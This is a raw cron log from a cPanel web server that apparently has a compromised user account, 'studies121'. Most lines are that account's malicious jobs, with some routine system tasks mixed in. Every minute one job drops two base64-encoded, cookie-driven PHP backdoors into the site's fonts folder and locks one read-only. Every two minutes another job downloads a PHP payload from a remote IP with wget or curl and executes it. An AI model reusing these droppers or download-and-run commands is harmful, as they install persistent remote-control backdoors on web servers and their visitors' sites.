Sep 12 22:02:01 ip-184-168-122-23 CROND[32033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:02:01 ip-184-168-122-23 CROND[32031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:02:01 ip-184-168-122-23 CROND[32032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:03:01 ip-184-168-122-23 CROND[32131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:03:01 ip-184-168-122-23 CROND[32132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:03:01 ip-184-168-122-23 CROND[32133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:03:01 ip-184-168-122-23 CROND[32136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:04:01 ip-184-168-122-23 CROND[32221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:04:01 ip-184-168-122-23 CROND[32222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:04:01 ip-184-168-122-23 CROND[32223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:04:01 ip-184-168-122-23 CROND[32224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:04:01 ip-184-168-122-23 CROND[32225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:05:01 ip-184-168-122-23 CROND[32327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:05:01 ip-184-168-122-23 CROND[32329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:05:01 ip-184-168-122-23 CROND[32333]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:05:01 ip-184-168-122-23 CROND[32330]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 22:05:01 ip-184-168-122-23 CROND[32331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:05:01 ip-184-168-122-23 CROND[32332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:05:01 ip-184-168-122-23 CROND[32335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:06:01 ip-184-168-122-23 CROND[32534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:06:01 ip-184-168-122-23 CROND[32536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:06:01 ip-184-168-122-23 CROND[32538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:06:01 ip-184-168-122-23 CROND[32537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:06:01 ip-184-168-122-23 CROND[32539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:07:01 ip-184-168-122-23 CROND[32633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:07:01 ip-184-168-122-23 CROND[32634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:07:01 ip-184-168-122-23 CROND[32639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:07:01 ip-184-168-122-23 CROND[32637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:08:01 ip-184-168-122-23 CROND[32751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:08:01 ip-184-168-122-23 CROND[32754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:08:01 ip-184-168-122-23 CROND[32753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:08:01 ip-184-168-122-23 CROND[32756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:08:01 ip-184-168-122-23 CROND[32757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:09:01 ip-184-168-122-23 CROND[395]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 22:09:01 ip-184-168-122-23 CROND[397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:09:01 ip-184-168-122-23 CROND[398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:09:01 ip-184-168-122-23 CROND[396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:09:01 ip-184-168-122-23 CROND[401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:10:01 ip-184-168-122-23 CROND[503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:10:01 ip-184-168-122-23 CROND[504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:10:01 ip-184-168-122-23 CROND[506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:10:01 ip-184-168-122-23 CROND[507]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:10:01 ip-184-168-122-23 CROND[509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:10:01 ip-184-168-122-23 CROND[511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:10:01 ip-184-168-122-23 CROND[513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:10:01 ip-184-168-122-23 CROND[512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:11:02 ip-184-168-122-23 CROND[714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:11:02 ip-184-168-122-23 CROND[715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:11:02 ip-184-168-122-23 CROND[717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:11:02 ip-184-168-122-23 CROND[718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:12:01 ip-184-168-122-23 CROND[804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:12:01 ip-184-168-122-23 CROND[805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:12:01 ip-184-168-122-23 CROND[809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:12:01 ip-184-168-122-23 CROND[808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:12:01 ip-184-168-122-23 CROND[807]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:13:01 ip-184-168-122-23 CROND[912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:13:01 ip-184-168-122-23 CROND[913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:13:01 ip-184-168-122-23 CROND[914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:13:01 ip-184-168-122-23 CROND[916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:14:01 ip-184-168-122-23 CROND[1024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:14:01 ip-184-168-122-23 CROND[1026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:14:01 ip-184-168-122-23 CROND[1025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:14:01 ip-184-168-122-23 CROND[1027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
